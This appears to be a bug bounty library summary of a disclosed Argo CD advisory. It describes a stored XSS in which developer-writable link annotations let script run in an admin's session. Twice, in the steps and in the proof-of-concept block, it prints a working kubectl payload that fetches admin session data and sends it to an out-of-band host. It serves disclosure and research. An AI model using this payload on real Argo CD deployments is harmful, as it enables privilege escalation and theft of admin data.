# Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Developer-writable link annotations in Argo CD render unvalidated javascript: hrefs, so an admin clicking a disguised link executes script in their session.

- Payout: Research
- Severity: high
- Program: Argo CD
- Found by: kah-ja
- Disclosed: 2026-05-19
- CVE: CVE-2026-45738
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h98r-wv3h-fr38
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h98r-wv3h-fr38
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:kubernetes tech:react technique:source-review vuln:privilege-escalation vuln:xss

**Target:** Argo CD UI application summary URLs section (link.argocd.argoproj.io/* annotations)
**Root cause:** The summary URLs sink splits annotation values on '|' and uses parts[1] as href without calling isValidURL(), unlike the protected ApplicationURLs component; React 16 does not block javascript: URIs.
**Steps:**
1. As a developer with application write access, annotate the app: `kubectl annotate application <app-name> -n argocd 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'`
2. Admin opens the application Summary tab; the URLs section renders the link labeled 'GitHub Repo' with the javascript: href hidden
3. Admin clicks the link; script executes at the Argo CD origin with the admin's session
4. Credentialed fetch to /api/v1/session/userinfo returns admin data, exfiltrated via no-cors fetch to the attacker's OAST host
**How found:** Compared the unprotected summary URLs sink (application-summary.tsx:277) against the protected ApplicationURLs component that calls isValidURL(), noticing the pipe-separator parsing lets parts[1] become an unvalidated href.
**Exploitation:** Attacker with developer role persists a javascript: URI in a link annotation; when an admin clicks the disguised link, same-origin credentialed fetch calls read Argo CD APIs and exfiltrate data out-of-band (no-cors, no connect-src CSP), yielding admin session data.
**Escalation:** Developer-to-admin privilege escalation by hijacking the admin's authenticated session via same-origin API calls.
**Insight:** When a codebase has a URL-validation helper, grep every other place annotation/user data becomes an href and diff against the validated component; pipe-separated 'label|url' formats are a classic way to hide a javascript: scheme behind benign display text.

## Proof of concept (copied exactly from the original report)

**kubectl annotate with javascript: payload**

```
kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'
```

